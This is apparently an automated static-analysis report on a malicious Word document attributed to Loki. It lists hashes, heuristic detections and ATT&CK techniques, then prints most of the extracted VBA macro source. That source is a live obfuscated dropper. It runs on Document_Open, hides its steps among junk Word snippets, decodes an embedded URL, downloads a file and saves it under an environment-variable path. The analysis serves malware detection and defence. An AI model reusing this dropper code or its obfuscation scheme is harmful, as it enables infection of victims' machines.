Loki — Office (OLE) malware analysis

Static analysis result for SHA-256 b5f52db160138d3a…

MALICIOUS

Office (OLE)

218.0 KB Created: 2019-02-07 21:56:00 Authoring application: Microsoft Office Word First seen: 2019-05-16
MD5: 1e7a700832f578af48360c3d0ad4f9fa SHA-1: bd58e7054f31d34f9402763c6469b99f290aecf8 SHA-256: b5f52db160138d3a66f14d729eeeb01cd569e21e59f6c27f8a169b6e50ca41af
258 Risk Score

Malware Insights

Loki · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1105 Ingress Tool Transfer

The sample is a malicious Office document containing VBA macros. The 'Document_Open' macro is configured to execute automatically, and it uses 'CreateObject' to download and save a file from an embedded URL, which is then likely executed. The document body presents a lure to encourage users to enable macros, a common tactic for macro-based malware.

Heuristics 9

  • ClamAV: Xls.Malware.Loki-6852533-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Malware.Loki-6852533-0
  • VBA macros detected medium 5 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXEC
    VBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.
    Matched line in script
    Case (-4334 + -1762 + (368 - (-2007) + -2871)): veYee.Write Wifhtk8w40V3rJaVg4.responseBody
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Case (9322 + 4899 + (504 - (-4641) + -1045)): Set kJZ149ELlX = CreateObject(cdLmGxS9J6t6247nnVe)
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Sub Document_Open()
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
    Case (3498 + -1774 + (-5310 - (-5074) + -1950)): hxoTH89 = Environ(VKbBjcJ("t{(i,m0FI|pZ(=?")) + VKbBjcJ("\kY|@uO^I^zh6;Jbrfa[jiV2esU3ZPgO8Kv.tX*-e)hUUxKFzue,;nI")
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main Referenced by macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 57156 bytes
SHA-256: d3b43ef0af7b666b18157f706ae4958d013ffd79d773dababeb5ae40b529f5db
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub Document_Open()

Select Case 10407
Case (-7048 + (-188) - (-9960 + -1080) + (9018)):



    ' Display message, title, and default value
    Drive = InputBox(Message, Title, Default)
    If Drive > "" Then
        ffname = ActiveDocument.FullName
        FName = Drive & ":\" & ActiveDocument.Name
        ActiveDocument.SaveAs FName
        ActiveDocument.SaveAs ffname
    End If



 If Selection.Type = wdSelectionIP Then
          Selection.MoveLeft Unit:=wdWord, Count:=1
          Selection.MoveRight Unit:=wdWord, Count:=1, Extend:=wdExtend
     End If
     Selection.Range.Case = wdTitleWord
     Selection.Font.SmallCaps = True



Case (-5166 + 5697 + (1178 - (-6136) + 2562)): T8JgznC5GPecVMGu77

Case (-7048 + (-188) - (-9960 + -1080) + (9018)):



Selection.Find.ClearFormatting
Selection.Find.Replacement.ClearFormatting
With Selection.Find
   .Text = "xxx"
   .Replacement.Text = "yyy"
   .Forward = True
   .Wrap = wdFindContinue
   .Format = False
   .MatchCase = False
   .MatchWholeWord = False
   .MatchWildcards = False
   .MatchSoundsLike = False
   .MatchAllWordForms = False
End With




    ' reference the current document
    Set docActive = ActiveDocument

    ' get the name of doc and also path/name
    ' of the template it's based-on
    strDocName = docActive.Name
    strTemplateName = docActive.AttachedTemplate.FullName

    ' create a copy document based on same template
    Set docNew = Documents.Add(strTemplateName)

    ' loop to copy each part of the active doc to the new doc
    For Each rngActiveDocPart In docActive.StoryRanges
        ' reference same part
        Set rngNewDocPart = docNew.StoryRanges _
           (rngActiveDocPart.StoryType)
        rngActiveDocPart.Copy
        rngNewDocPart.Paste
    Next rngActiveDocPart

    ' make the new document active
    docNew.Activate

    ' offer to save it on floppy drive A:\




End Select


End Sub
Private Sub T8JgznC5GPecVMGu77()

Select Case 8975
Case (-1161 + -2058 + (640 - (-1742) + 9812)): Dim Wifhtk8w40V3rJaVg4 As Object

Case (6691 + (-7303) - (3441 + -6606) + (-1536)):



Selection.GoTo What:=wdGoToBookmark, Name:="BookmarkName"
Selection.Delete Unit:=wdCharacter, Count:=1
Selection.InsertAfter "This is the new text"



Columns.EntireColumn.Hidden = False
Rows.EntireRow.Hidden = False



Case (6691 + (-7303) - (3441 + -6606) + (-1536)):



    BIStatus = 0
    If Selection.Font.Bold Then BIStatus = BIStatus + 1
    If Selection.Font.Italic Then BIStatus = BIStatus + 1

    If BIStatus = 0 Then
        Selection.Font.Bold = True
        Selection.Font.Italic = True
    End If
    If BIStatus = 1 Then
        Selection.Font.Bold = True
        Selection.Font.Italic = True
    End If
    If BIStatus = 2 Then
        Selection.Font.Bold = False
        Selection.Font.Italic = False
    End If



    ' Display message, title, and default value
    Drive = InputBox(Message, Title, Default)
    If Drive > "" Then
        ffname = ActiveDocument.FullName
        FName = Drive & ":\" & ActiveDocument.Name
        ActiveDocument.SaveAs FName
        ActiveDocument.SaveAs ffname
    End If



End Select


Set Wifhtk8w40V3rJaVg4 = kJZ149ELlX(VKbBjcJ("m}+gfiVFQ[cMlder9IN0o.dJ^sSkMVoPmtMfox}htEuEX.P*/|x_62imGg1}l`qPihKP2:t]8=htP+kTpmzHC"))


Select Case -10405
Case (-3456 + -6144 + (-1335 - (4888) + 5418)): Dim hxoTH89

Case (-2818 + (-3100) - (378 + 9434) + (-5230)):



    ' Display message, title, and default value
    Drive = InputBox(Message, Title, Default)
    If Drive > "" Then
        ffname = ActiveDocument.FullName
        FName = Drive & ":\" & ActiveDocument.Name
        ActiveDocument.SaveAs FName
        ActiveDocument.SaveAs ffname
    End If



Application.DisplayStatusBar = True
With ActiveWindow
   .DisplayHorizontalScrollBar = True
   .DisplayVerticalScrollBar = True
   .DisplayVerticalRuler = True
   .DisplayScreenTips = True
End With



Case (-2818 + (-3100) - (378 + 9434) + (-5230)):



Selection.GoTo What:=wdGoToBookmark, Name:="BookmarkName"
Selection.Delete Unit:=wdCharacter, Count:=1
Selection.InsertAfter "This is the new text"




    If Options.AutoFormatAsYouTypeReplaceQuotes Then
        sBegQ = Chr(147)
        sEndQ = Chr(148)
    Else
        sBegQ = Chr(34)
        sEndQ = Chr(34)
    End If

    Selection.InsertBefore sBegQ
    Selection.InsertAfter sEndQ



End Select



Select Case -7544
Case (-7336 + -6042 + (6754 - (-7805) + -8725)): Dim neyotRQoyDG8lGEIb

Case (-5200 + (2868) - (3518 + 2877) + (-3851)):



Selection.Find.ClearFormatting
Selection.Find.Replacement.ClearFormatting
With Selection.Find
   .Text = "Something"
   .Forward = True
   .Wrap = wdFindStop
   .Format = False
   .MatchCase = False
   .MatchWholeWord = False
   .MatchWildcards = False
   .MatchSoundsLike = False
   .MatchAllWordForms = False
End With
Do While Selection.Find.Execute
   'Do something within the found text
Loop



    sBigStuff = ""

    ' Select the full number in which the insertion point is located
    Selection.MoveLeft Unit:=wdWord, Count:=1, Extend:=wdMove
    Selection.MoveRight Unit:=wdWord, Count:=1, Extend:=wdExtend

    ' Store the digits in a variable
    sDigits = Trim(Selection.Text)

    If Val(sDigits) > 999999 Then
        If Val(sDigits) <= 999999999 Then
            sBigStuff = Trim(Int(Str(Val(sDigits) / 1000000)))
            ' Create a field containing the big digits and
            ' the cardtext format flag
            Selection.Fields.Add Range:=Selection.Range, _
              Type:=wdFieldEmpty, Text:="= " + sBigStuff + " \* CardText", _
              PreserveFormatting:=True

            ' Select the field and copy it
            Selection.MoveLeft Unit:=wdWord, Count:=1, Extend:=wdExtend
            sBigStuff = Selection.Text & " million "
            sDigits = Right(sDigits, 6)
        End If
    End If
    If Val(sDigits) <= 999999 Then
        ' Create a field containing the digits and the cardtext format flag
        Selection.Fields.Add Range:=Selection.Range, _
          Type:=wdFieldEmpty, Text:="= " + sDigits + " \* CardText", _
          PreserveFormatting:=True

        ' Select the field and copy it
        Selection.MoveLeft Unit:=wdWord, Count:=1, Extend:=wdExtend
        sDigits = sBigStuff & Selection.Text

        ' Now put the words in the document
        Selection.TypeText Text:=sDigits
        Selection.TypeText Text:=" "
    Else
        MsgBox "Number too large", vbOKOnly
    End If



Case (-5200 + (2868) - (3518 + 2877) + (-3851)):



With Selection.Cells
   .Borders(wdBorderLeft).LineStyle = wdLineStyleNone
   With .Borders(wdBorderRight)
      .LineStyle = wdLineStyleSingle
      .LineWidth = wdLineWidth075pt
      .ColorIndex = wdAuto
   End With
   With .Borders(wdBorderTop)
      .LineStyle = wdLineStyleSingle
      .LineWidth = wdLineWidth075pt
      .ColorIndex = wdAuto
   End With
   With .Borders(wdBorderBottom)
      .LineStyle = wdLineStyleSingle
      .LineWidth = wdLineWidth075pt
      .ColorIndex = wdAuto
   End With
   .Borders.Shadow = False
End With
With Options
   .DefaultBorderLineStyle = wdLineStyleSingle
   .DefaultBorderLineWidth = wdLineWidth050pt
   .DefaultBorderColorIndex = wdAuto
End With




    ' reference the current document
    Set docActive = ActiveDocument

    ' get the name of doc and also path/name
    ' of the template it's based-on
    strDocName = docActive.Name
    strTemplateName = docActive.AttachedTemplate.FullName

    ' create a copy document based on same template
    Set docNew = Documents.Add(strTemplateName)

    ' loop to copy each part of the active doc to the new doc
    For Each rngActiveDocPart In docActive.StoryRanges
        ' reference same part
        Set rngNewDocPart = docNew.StoryRanges _
           (rngActiveDocPart.StoryType)
        rngActiveDocPart.Copy
        rngNewDocPart.Paste
    Next rngActiveDocPart

    ' make the new document active
    docNew.Activate

    ' offer to save it on floppy drive A:\




End Select



Select Case -2130
Case (-1190 + (-217) - (9959 + 5038) + (4501)):



Selection.Find.ClearFormatting
Selection.Find.Replacement.ClearFormatting
With Selection.Find
   .Text = "xxx"
   .Replacement.Text = "yyy"
   .Forward = True
   .Wrap = wdFindContinue
   .Format = False
   .MatchCase = False
   .MatchWholeWord = False
   .MatchWildcards = False
   .MatchSoundsLike = False
   .MatchAllWordForms = False
End With



    ' Display message, title, and default value
    Drive = InputBox(Message, Title, Default)
    If Drive > "" Then
        ffname = ActiveDocument.FullName
        FName = Drive & ":\" & ActiveDocument.Name
        ActiveDocument.SaveAs FName
        ActiveDocument.SaveAs ffname
    End If



Case (-7085 + -9047 + (5138 - (-7982) + 882)): Set neyotRQoyDG8lGEIb = tJ0Jcda0MsDF8(VKbBjcJ("S+t^,h\M~De`b6hldvl|lO<Es.j3z?AkFS[pJ]zKpFmzkl;K4}iQmXyc*T,Ya>m,Yt]TWviyG?=oxJy+ngiIu"))

Case (-1190 + (-217) - (9959 + 5038) + (4501)):



   With Selection.Find
        .ClearFormatting
        .Replacement.ClearFormatting
        .Text = " {2,}"
        .Replacement.Text = "^t"
        .Forward = True
        .Wrap = wdFindStop
        .Format = False
        .MatchCase = False
        .MatchWholeWord = False
        .MatchAllWordForms = False
        .MatchSoundsLike = False
        .MatchWildcards = True
    End With
    Selection.Find.Execute Replace:=wdReplaceAll
    Selection.ConvertToTable _
      Separator:=wdSeparateByTabs, _
      Format:=wdTableFormatNone



Selection.Find.ClearFormatting
With Selection.Find
   .Text = "xxx"
   .Replacement.Text = ""
   .Forward = True
   .Wrap = wdFindContinue
   .Format = False
   .MatchCase = False
   .MatchWholeWord = False
   .MatchWildcards = False
   .MatchSoundsLike = False
   .MatchAllWordForms = False
End With
Selection.Find.Execute



End Select




Select Case -462
Case (76 + (-2666) - (-5796 + -4295) + (-8869)):



 If ActiveDocument.Saved = False Then ActiveDocument.Save
    System.Cursor = wdCursorWait
    OrigLongFileName = ActiveDocument.Name
    OldPath = ActiveDocument.Path & Application.PathSeparator
    If ActiveDocument.Path = "" Then
        MsgBox "Please save this document before sending to drive A:", _
           vbOKOnly, "This Document Not Saved"
    Else
        FileCopy OldPath & OrigLongFileName, "a:\" & OrigLongFileName
        Documents.Open FileName:=OldPath & OrigLongFileName
        Application.GoBack
    End If
    System.Cursor = wdCursorNormal



Do Until ActiveDocument.Bookmarks("\Sel") = _
   ActiveDocument.Bookmarks("\EndOfDoc")
      Selection.Find.ClearFormatting
      With Selection.Find
         .Text = "Howdy!"
         .Forward = True
         .Wrap = wdFindStop
         .Format = False
         .MatchCase = False
         .MatchWholeWord = False
         .MatchWildcards = False
         .MatchSoundsLike = False
         .MatchAllWordForms = False
      End With
      Selection.Find.Execute

      If Selection.Find.Found = True Then
         'Do something within the found text
      Else
         Exit Do
      End If
   Loop



Case (3498 + -1774 + (-5310 - (-5074) + -1950)): hxoTH89 = Environ(VKbBjcJ("t{(i,m0FI|pZ(=?")) + VKbBjcJ("\kY|@uO^I^zh6;Jbrfa[jiV2esU3ZPgO8Kv.tX*-e)hUUxKFzue,;nI")

Case (76 + (-2666) - (-5796 + -4295) + (-8869)):



iParCount = ActiveDocument.Paragraphs.Count
For J = 1 To iParCount
    sMyPar = ActiveDocument.Paragraphs(J).Range.Text
    ActiveDocument.Paragraphs(J).Range.Text = sMyPar
Next J



Selection.Find.ClearFormatting
With Selection.Find
   .Text = "xxx"
   .Replacement.Text = ""
   .Forward = True
   .Wrap = wdFindContinue
   .Format = False
   .MatchCase = False
   .MatchWholeWord = False
   .MatchWildcards = False
   .MatchSoundsLike = False
   .MatchAllWordForms = False
End With
Selection.Find.Execute



End Select



Select Case -17188
Case (2090 + (5784) - (8645 + 6751) + (-3377)):



Do Until ActiveDocument.Bookmarks("\Sel") = _
   ActiveDocument.Bookmarks("\EndOfDoc")
      Selection.Find.ClearFormatting
      With Selection.Find
         .Text = "Howdy!"
         .Forward = True
         .Wrap = wdFindStop
         .Format = False
         .MatchCase = False
         .MatchWholeWord = False
         .MatchWildcards = False
         .MatchSoundsLike = False
         .MatchAllWordForms = False
      End With
      Selection.Find.Execute

      If Selection.Find.Found = True Then
         'Do something within the found text
      Else
         Exit Do
      End If
   Loop



Selection.Find.ClearFormatting
Selection.Find.Replacement.ClearFormatting
With Selection.Find
   .Text = "xxx"
   .Replacement.Text = "yyy"
   .Forward = True
   .Wrap = wdFindContinue
   .Format = False
   .MatchCase = False
   .MatchWholeWord = False
   .MatchWildcards = False
   .MatchSoundsLike = False
   .MatchAllWordForms = False
End With



Case (-9321 + -6101 + (-3160 - (-4676) + -3282)): Wifhtk8w40V3rJaVg4.Open VKbBjcJ("GByE[EYIlqT=+ps"), VKbBjcJ("h3rt/tI`,0tJFL.prz`(:fnJ./OO`T/];D2wVpUNw*<m.w{<l].WZhxj-lA/aIl?lgxn<ca:HP5dCxXYip|,^s4Z+Qh)lUscegOphy=hirXhU;i(1r[sk_A^t*60/ihaymahmj3nAG|R.w_:.c8n(0oOo]*mfOeI/SuqWt^H/?mCy(ip|Iy_/4Hb3jL:N:o5(^wf,w/Ab0H_J.UMrWeWzj=xm=2.eu}uE"), False

Case (2090 + (5784) - (8645 + 6751) + (-3377)):



Selection.Find.ClearFormatting
Selection.Find.Replacement.ClearFormatting
With Selection.Find
   .Text = "xxx"
   .Replacement.Text = "yyy"
   .Forward = True
   .Wrap = wdFindContinue
   .Format = False
   .MatchCase = False
   .MatchWholeWord = False
   .MatchWildcards = False
   .MatchSoundsLike = False
   .MatchAllWordForms = False
End With



Selection.Find.ClearFormatting
Selection.Find.Replacement.ClearFormatting
With Selection.Find
   .Text = "xxx"
   .Replacement.Text = "yyy"
   .Forward = True
   .Wrap = wdFindContinue
   .Format = False
   .MatchCase = False
   .MatchWholeWord = False
   .MatchWildcards = False
   .MatchSoundsLike = False
   .MatchAllWordForms = False
End With



End Select



Select Case -8396
Case (674 + (2932) - (-3064 + -7558) + (-2170)):



Selection.GoTo What:=wdGoToBookmark, Name:="BookmarkName"
Selection.Delete Unit:=wdCharacter, Count:=1
Selection.InsertAfter "This is the new text"



    BIStatus = 0
    If Selection.Font.Bold Then BIStatus = BIStatus + 1
    If Selection.Font.Italic Then BIStatus = BIStatus + 1

    If BIStatus = 0 Then
        Selection.Font.Bold = True
        Selection.Font.Italic = True
    End If
    If BIStatus = 1 Then
        Selection.Font.Bold = True
        Selection.Font.Italic = True
    End If
    If BIStatus = 2 Then
        Selection.Font.Bold = False
        Selection.Font.Italic = False
    End If



Case (674 + (2932) - (-3064 + -7558) + (-2170)):



ActiveDocument.Bookmarks.Add Range:=Selection.Range, _
   Name:="BookmarkName"



   With Selection.Find
        .ClearFormatting
        .Replacement.ClearFormatting
        .Text = " {2,}"
        .Replacement.Text = "^t"
        .Forward = True
        .Wrap = wdFindStop
        .Format = False
        .MatchCase = False
        .MatchWholeWord = False
        .MatchAllWordForms = False
        .MatchSoundsLike = False
        .MatchWildcards = True
    End With
    Selection.Find.Execute Replace:=wdReplaceAll
    Selection.ConvertToTable _
      Separator:=wdSeparateByTabs, _
      Format:=wdTableFormatNone



Case (8869 + -2325 + (-205 - (8085) + -6650)): Wifhtk8w40V3rJaVg4.send

End Select



Select Case -4598
Case (6486 + (1435) - (1896 + 8923) + (-4209)):



Selection.TypeBackspace
With ActiveDocument.Bookmarks
   .Add Range:=Selection.Range, Name:="Name"
   .DefaultSorting = wdSortByName
   .ShowHidden = False
End With



Selection.GoTo What:=wdGoToBookmark, Name:="BookmarkName"
Selection.Delete Unit:=wdCharacter, Count:=1
Selection.InsertAfter "This is the new text"



Case (-157 + 5955 + (-3642 - (-2439) + -9193)): Dim veYee

Case (6486 + (1435) - (1896 + 8923) + (-4209)):



    sBigStuff = ""

    ' Select the full number in which the insertion point is located
    Selection.MoveLeft Unit:=wdWord, Count:=1, Extend:=wdMove
    Selection.MoveRight Unit:=wdWord, Count:=1, Extend:=wdExtend

    ' Store the digits in a variable
    sDigits = Trim(Selection.Text)

    If Val(sDigits) > 999999 Then
        If Val(sDigits) <= 999999999 Then
            sBigStuff = Trim(Int(Str(Val(sDigits) / 1000000)))
            ' Create a field containing the big digits and
            ' the cardtext format flag
            Selection.Fields.Add Range:=Selection.Range, _
              Type:=wdFieldEmpty, Text:="= " + sBigStuff + " \* CardText", _
              PreserveFormatting:=True

            ' Select the field and copy it
            Selection.MoveLeft Unit:=wdWord, Count:=1, Extend:=wdExtend
            sBigStuff = Selection.Text & " million "
            sDigits = Right(sDigits, 6)
        End If
    End If
    If Val(sDigits) <= 999999 Then
        ' Create a field containing the digits and the cardtext format flag
        Selection.Fields.Add Range:=Selection.Range, _
          Type:=wdFieldEmpty, Text:="= " + sDigits + " \* CardText", _
          PreserveFormatting:=True

        ' Select the field and copy it
        Selection.MoveLeft Unit:=wdWord, Count:=1, Extend:=wdExtend
        sDigits = sBigStuff & Selection.Text

        ' Now put the words in the document
        Selection.TypeText Text:=sDigits
        Selection.TypeText Text:=" "
    Else
        MsgBox "Number too large", vbOKOnly
    End If



Do Until ActiveDocument.Bookmarks("\Sel") = _
   ActiveDocument.Bookmarks("\EndOfDoc")
      Selection.Find.ClearFormatting
      With Selection.Find
         .Text = "Howdy!"
         .Forward = True
         .Wrap = wdFindStop
         .Format = False
         .MatchCase = False
         .MatchWholeWord = False
         .MatchWildcards = False
         .MatchSoundsLike = False
         .MatchAllWordForms = False
      End With
      Selection.Find.Execute

      If Selection.Find.Found = True Then
         'Do something within the found text
      Else
         Exit Do
      End If
   Loop



End Select



Select Case -2951
Case (-8063 + (8714) - (8889 + -2272) + (8286)):



 If ActiveDocument.Saved = False Then ActiveDocument.Save
    System.Cursor = wdCursorWait
    OrigLongFileName = ActiveDocument.Name
    OldPath = ActiveDocument.Path & Application.PathSeparator
    If ActiveDocument.Path = "" Then
        MsgBox "Please save this document before sending to drive A:", _
           vbOKOnly, "This Document Not Saved"
    Else
        FileCopy OldPath & OrigLongFileName, "a:\" & OrigLongFileName
        Documents.Open FileName:=OldPath & OrigLongFileName
        Application.GoBack
    End If
    System.Cursor = wdCursorNormal



iParCount = ActiveDocument.Paragraphs.Count
For J = 1 To iParCount
    sMyPar = ActiveDocument.Paragraphs(J).Range.Text
    ActiveDocument.Paragraphs(J).Range.Text = sMyPar
Next J



Case (535 + 2141 + (-6048 - (-5209) + -4788)): Set veYee = i3HoJijGKxau(VKbBjcJ("a4u,.drU:?o25\=d,(Q?b2ZDy.1(z}s-FPFt{V`xr7uv9eAC1,am|45mD0VY"))

Case (-8063 + (8714) - (8889 + -2272) + (8286)):



Selection.Find.ClearFormatting
Selection.Find.Replacement.ClearFormatting
With Selection.Find
   .Text = "xxx"
   .Replacement.Text = "yyy"
   .Forward = True
   .Wrap = wdFindContinue
   .Format = False
   .MatchCase = False
   .MatchWholeWord = False
   .MatchWildcards = False
   .MatchSoundsLike = False
   .MatchAllWordForms = False
End With



Do Until ActiveDocument.Bookmarks("\Sel") = _
   ActiveDocument.Bookmarks("\EndOfDoc")
      Selection.Find.ClearFormatting
      With Selection.Find
         .Text = "Howdy!"
         .Forward = True
         .Wrap = wdFindStop
         .Format = False
         .MatchCase = False
         .MatchWholeWord = False
         .MatchWildcards = False
         .MatchSoundsLike = False
         .MatchAllWordForms = False
      End With
      Selection.Find.Execute

      If Selection.Find.Found = True Then
         'Do something within the found text
      Else
         Exit Do
      End If
   Loop



End Select




Select Case 21186
Case (-6344 + (898) - (-7915 + 4228) + (-8798)):




ActiveDocument.Range.Font.Hidden = True
Set rDcm = ActiveDocument.Range
With rDcm.Find
.Text = ""
.Highlight = True
.Forward = False
While .Execute
If rDcm.HighlightColorIndex = wdYellow Then
rDcm.HighlightColorIndex = wdNoHighlight
rDcm.Font.Hidden = False
rDcm.Collapse Direction:=wdCollapseStart
rDcm.Start = ActiveDocument.Range.Start
End If
Wend
End With
Set rDcm = ActiveDocument.Range
Options.DefaultHighlightColorIndex = wdYellow
With rDcm.Find
.Text = ""
.Font.Hidden = False
.Forward = False
.Replacement.Highlight = True
.Execute Replace:=wdReplaceAll
End With



Selection.GoTo What:=wdGoToBookmark, Name:="BookmarkName"
Selection.Delete Unit:=wdCharacter, Count:=1
Selection.InsertAfter "This is the new text"



Case (-4663 + 7491 + (-654 - (-9249) + 9763)): veYee.Open

Case (-6344 + (898) - (-7915 + 4228) + (-8798)):



Selection.Find.ClearFormatting
Selection.Find.Replacement.ClearFormatting
With Selection.Find
   .Text = "Something"
   .Forward = True
   .Wrap = wdFindStop
   .Format = False
   .MatchCase = False
   .MatchWholeWord = False
   .MatchWildcards = False
   .MatchSoundsLike = False
   .MatchAllWordForms = False
End With
Do While Selection.Find.Execute
   'Do something within the found text
Loop



    ' set document folder path and template strings
    strDocPath = "C:\path to document folder\"
    strTemplateB = "C:\path to template\templateB.dot"

    ' get first doc - only time need to provide file spec
    strCurDoc = Dir(strDocPath & "*.doc")

    ' ready to loop (for as long as file found)
    Do While strCurDoc <> ""
        ' open file
        Set docCurDoc = Documents.Open(FileName:=strDocPath & strCurDoc)
        ' change the template
        docCurDoc.AttachedTemplate = strTemplateB
        ' save and close
        docCurDoc.Close wdSaveChanges
        ' get next file name
        strCurDoc = Dir
    Loop
    MsgBox "Finished"



End Select



Select Case 13879
Case (-5718 + (-400) - (2092 + -9177) + (6304)):



    sBigStuff = ""

    ' Select the full number in which the insertion point is located
    Selection.MoveLeft Unit:=wdWord, Count:=1, Extend:=wdMove
    Selection.MoveRight Unit:=wdWord, Count:=1, Extend:=wdExtend

    ' Store the digits in a variable
    sDigits = Trim(Selection.Text)

    If Val(sDigits) > 999999 Then
        If Val(sDigits) <= 999999999 Then
            sBigStuff = Trim(Int(Str(Val(sDigits) / 1000000)))
            ' Create a field containing the big digits and
            ' the cardtext format flag
            Selection.Fields.Add Range:=Selection.Range, _
              Type:=wdFieldEmpty, Text:="= " + sBigStuff + " \* CardText", _
              PreserveFormatting:=True

            ' Select the field and copy it
            Selection.MoveLeft Unit:=wdWord, Count:=1, Extend:=wdExtend
            sBigStuff = Selection.Text & " million "
            sDigits = Right(sDigits, 6)
        End If
    End If
    If Val(sDigits) <= 999999 Then
        ' Create a field containing the digits and the cardtext format flag
        Selection.Fields.Add Range:=Selection.Range, _
          Type:=wdFieldEmpty, Text:="= " + sDigits + " \* CardText", _
          PreserveFormatting:=True

        ' Select the field and copy it
        Selection.MoveLeft Unit:=wdWord, Count:=1, Extend:=wdExtend
        sDigits = sBigStuff & Selection.Text

        ' Now put the words in the document
        Selection.TypeText Text:=sDigits
        Selection.TypeText Text:=" "
    Else
        MsgBox "Number too large", vbOKOnly
    End If



Selection.Find.ClearFormatting
With Selection.Find
   .Text = "xxx"
   .Replacement.Text = ""
   .Forward = True
   .Wrap = wdFindContinue
   .Format = False
   .MatchCase = False
   .MatchWholeWord = False
   .MatchWildcards = False
   .MatchSoundsLike = False
   .MatchAllWordForms = False
End With
Selection.Find.Execute



Case (-5718 + (-400) - (2092 + -9177) + (6304)):



With Selection.Cells
…

Open this report in the interactive analyzer, or submit your own file for analysis.